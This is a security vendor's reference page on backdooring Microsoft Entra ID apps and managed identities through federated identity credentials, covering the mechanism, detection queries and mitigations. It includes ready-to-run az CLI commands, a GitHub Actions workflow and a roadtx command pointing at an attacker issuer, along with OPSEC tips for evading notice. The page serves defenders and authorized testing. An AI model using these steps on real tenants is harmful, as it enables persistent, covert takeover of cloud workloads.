1. Resources
  2. Identity Threats
  3. Microsoft Entra ID

Entra ID Federated Identity Credential Abuse

Also known as: Workload identity federation backdoor, Federated credential persistence, FIC abuse, OIDC trust abuse

An attacker adds a federated identity credential to an app registration or managed identity, or abuses an over-broad one, so tokens from an external issuer they control become tokens of the workload.

Platform
Microsoft Entra ID
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
High
Privileges required: Specific rights or roles
Application owner or Application Administrator for an app registration; Managed Identity Contributor or equal Azure rights for a managed identity; or a run in a trusted external workload.
What the attacker gains
Tokens as the application or managed identity with no secret to find, rotate or expire, for as long as the trust entry exists.

How it works

Workload identity federation lets an external workload sign in to Microsoft Entra ID without a secret. A federated identity credential (FIC) on the target object stores three values: an issuer (the external identity provider's URL), a subject and one or more audiences. The external workload gets a signed token from its own issuer and presents it to Microsoft Entra ID as a client assertion. Entra downloads the issuer's public keys, checks the signature, and compares issuer, subject and audience with the stored values. If they match, it returns an access token for the application or managed identity.

Microsoft supports the credential on two kinds of object:

  • An app registration. The credential is a child of the application in Microsoft Graph (/applications/{id}/federatedIdentityCredentials), written by the application's owners and application administrators.
  • A user-assigned managed identity. The credential is an Azure resource under the identity, written through Azure Resource Manager by whoever holds the right Azure role. System-assigned managed identities do not support it.

The trust decides who can become the workload identity. That gives three abuses:

  • Backdoor on an app registration. The attacker adds a credential whose issuer and subject they control. The application's secrets and certificates are untouched, and nothing expires.
  • Backdoor on a managed identity. The same on a user-assigned managed identity. Managed identities are usually trusted because "they have no credentials", which makes this variant easy to overlook. An identity that is no longer attached to any resource but still holds role assignments is an ideal host.
  • Over-broad subject on a legitimate trust. The trust was created by the owner, but the subject matches more than the intended deployment job: a whole branch, any pull request, or an environment without protection rules. Whoever can run a workflow that GitHub issues that subject for can act as the application. The same reasoning applies to any other issuer.

The comparison is literal and case-sensitive. A conventional credential matches one exact subject; a flexible credential with a claims matching expression can match patterns, which widens the population that satisfies it.

Prerequisites

For the backdoor variants:

  • Write access to the target: owner of the app registration, Application Administrator, Cloud Application Administrator or a workload with Application.ReadWrite.All; for a managed identity, an Azure role with Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write, such as Managed Identity Contributor, Contributor or Owner on the identity.
  • An external issuer the attacker controls: a GitHub repository, another CI system or cloud that issues OIDC tokens, or a self-hosted issuer with public metadata.
  • A target with useful rights: directory roles, Graph application permissions or Azure role assignments.

For the over-broad subject variant:

  • The ability to run code in the external workload that the subject matches, for example push access to the trusted branch or the ability to trigger a workflow in the trusted repository. See GitHub Actions pwn request and workflow script injection for ways in.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. List existing trusts

# App registration
az ad app federated-credential list --id 00000000-0000-0000-0000-000000000000

# User-assigned managed identity
az identity federated-credential list --identity-name id-deploy --resource-group rg-platform

Read the issuer and subject of each entry. Subjects that name a branch, pull_request or an environment are candidates for the over-broad variant.

2. Add a credential to an app registration

The parameters file names the attacker's repository as the only accepted subject:

{
    "name": "ci-deploy",
    "issuer": "https://token.actions.githubusercontent.com",
    "subject": "repo:attacker-org/infra:ref:refs/heads/main",
    "description": "CI deployment",
    "audiences": [
        "api://AzureADTokenExchange"
    ]
}
az ad app federated-credential create --id 00000000-0000-0000-0000-000000000000 --parameters credential.json

3. Or add one to a user-assigned managed identity

az identity federated-credential create --name ci-deploy \
    --identity-name id-deploy --resource-group rg-platform \
    --issuer https://token.actions.githubusercontent.com \
    --subject repo:attacker-org/infra:ref:refs/heads/main \
    --audiences api://AzureADTokenExchange

4. Get tokens from the external workload

A workflow in the attacker's repository asks GitHub for an OIDC token and signs in. id-token: write is what allows the job to request the token:

name: deploy
on: workflow_dispatch
permissions:
  id-token: write
  contents: read
jobs:
  login:
    runs-on: ubuntu-latest
    steps:
      - uses: azure/login@v2
        with:
          client-id: 00000000-0000-0000-0000-000000000000
          tenant-id: 00000000-0000-0000-0000-000000000000
          allow-no-subscriptions: true
      - run: az account get-access-token --resource https://graph.microsoft.com --query accessToken --output tsv

The exchange can also be done by hand. The job requests the token from GitHub with the audience Entra expects and passes it to the Azure CLI:

TOKEN=$(curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
    "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange" | jq -r .value)

az login --service-principal --username 00000000-0000-0000-0000-000000000000 \
    --tenant 00000000-0000-0000-0000-000000000000 --federated-token "$TOKEN"

5. Self-hosted issuer

Without GitHub, the attacker publishes OIDC metadata and a signing key on a public URL (ROADtools ships roadoidc for this), sets that URL as the issuer of the credential, and mints the assertion locally with roadtx:

roadtx federatedappauth -c 00000000-0000-0000-0000-000000000000 \
    --cert-pem roadoidc.pem --key-pem roadoidc.key --subject backdoor \
    -t corp.example.com --issuer https://attacker.example.net/oidc \
    -s https://graph.microsoft.com/.default --kid KEYID

Over-broad subject variant

No directory change is needed. The attacker gets a job to run under the trusted subject, for example by pushing a workflow change to a branch the trust names, and runs step 4 inside it with the legitimate client ID.

Impact

The attacker can request tokens as the application or managed identity at any time, from outside the tenant, with nothing stored in the tenant that looks like a credential. Rotating the application's secrets and certificates has no effect. The access equals the workload's own: its directory roles, its Microsoft Graph application permissions and its Azure role assignments. Deployment identities often hold Contributor or Owner on subscriptions, so this route commonly ends in control of cloud resources.

An Entra token decision and an Azure Resource Manager authorization are separate steps. What the attacker changes in Azure appears in the Activity Log under the workload's identity, like the workload's normal deployments.

OPSEC and artifacts

  • No secret is created. The usual hunts for new secrets and certificates find nothing. The credential is visible in the application's federatedIdentityCredentials collection and under Federated credentials in the portal.
  • Use a common issuer. A GitHub issuer URL looks like every other deployment trust in the tenant. The subject still names the attacker's organization and repository, and it is stored in clear text on the object.
  • Prefer a managed identity. The change is written to the Azure Activity Log of the subscription, which identity teams often do not watch. The operation name Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write, the caller and the identity's resource ID are in that record.
  • Mimic an existing name. A credential named like the existing ones passes a casual look. Comparing the full set of issuer, subject and audience tuples against the deployment owner's manifest exposes it.
  • Directory audit. An addition to an app registration is recorded as Update application with the federated credential in the modified properties.
  • Sign-in trail. Each token exchange is a service principal sign-in. The column FederatedCredentialId in the sign-in log names the credential that was used, and the source address is the external runner, not the organization's network.
  • External evidence. A GitHub job record shows that a run happened, but not that Entra accepted its token. The acceptance is only in the Entra sign-in log.

Detection

  • Credential added to an application. The federated credential rule reads Update application events whose modified properties include the federated credential. Read the issuer and subject in every hit and compare them with the repositories and issuers your teams deploy from.
  • Credential added to a managed identity. The managed identity rule reads the Azure Activity Log write operation.
  • Use of the credential. Group workload sign-ins by FederatedCredentialId. A populated ServicePrincipalCredentialKeyId on a sign-in means a certificate or secret was used instead, so read both columns before attributing a sign-in to federation.
  • Weakened external controls. Removing a GitHub environment's protection rules turns an exact environment subject into an open door; see GitHub environment protection removed.
// Workload sign-ins that used a federated identity credential
AADServicePrincipalSignInLogs
| where TimeGenerated >= ago(14d)
| where isnotempty(FederatedCredentialId)
| summarize SignIns = count(), Addresses = make_set(IPAddress), Resources = make_set(ResourceDisplayName)
    by AppId, ServicePrincipalName, FederatedCredentialId
// Federated credentials written on user-assigned managed identities
AzureActivity
| where OperationNameValue =~ "MICROSOFT.MANAGEDIDENTITY/USERASSIGNEDIDENTITIES/FEDERATEDIDENTITYCREDENTIALS/WRITE"
| where ActivityStatusValue in ("Success", "Succeeded")
| project TimeGenerated, Caller, CallerIpAddress, _ResourceId

A periodic inventory is the reliable control: export every federated credential on applications and on managed identities and reconcile each issuer, subject and audience with an owner.

Mitigation

  • Limit who can write the trust. Keep application ownership and the application administrator roles small, and restrict the Azure roles that include the federated credential write action on managed identities.
  • Make subjects exact. Bind each trust to one organization, one repository and one environment. Avoid branch-wide and pull request subjects, and review flexible credentials with wildcard matching with extra care.
  • Protect the external side. For GitHub, put required reviewers and branch restrictions on the environment that the subject names, and limit who can change workflows on trusted branches.
  • Scope the workload's rights. Give the application or managed identity the Azure roles and Graph permissions the deployment needs, at the narrowest scope.
  • Remove unused identities. Delete user-assigned managed identities that are no longer attached to a resource, and remove trusts for repositories and pipelines that were retired.
  • Inventory federated credentials together with secrets and certificates, on applications and managed identities, and include them in offboarding of teams and vendors.
  • When responding, delete the credential, then review the workload's sign-ins by FederatedCredentialId and its resource activity. Tokens issued before the deletion stay valid until they expire.

Detection rules for this attack

Log events to collect

FAQ

Why is a federated identity credential harder to find than a client secret?

It is not stored in passwordCredentials or keyCredentials. It is a separate child collection of the application, or a child resource of a user-assigned managed identity in Azure. A review that only lists secrets and certificates never sees it, it has no expiry date to trigger a rotation reminder, and secret scanners have nothing to match because no secret exists.

Does the attacker need their own identity provider?

No. Any issuer that publishes OpenID Connect metadata works. The simplest choice is GitHub Actions: the attacker creates a repository in an organization they own and sets the subject to that repository. Workflows in it then receive tokens from GitHub that Microsoft Entra ID exchanges for tokens of the victim application. A self-hosted issuer such as roadoidc works the same way.

Where are changes to a managed identity's federated credentials logged?

In the Azure Activity Log of the subscription, not in the Microsoft Entra audit log. A user-assigned managed identity is an Azure resource, so the write appears as the operation Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write. A hunt that only reads the directory audit log misses it.

What makes a subject too broad?

A subject that more people or workflows can produce than the deployment needs. A trust on a whole branch lets anyone who can push to that branch act as the application. A trust on pull requests lets a pull request workflow do so. An environment subject is only as strong as the protection rules on that environment. Flexible credentials with wildcard claim matching widen this further.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.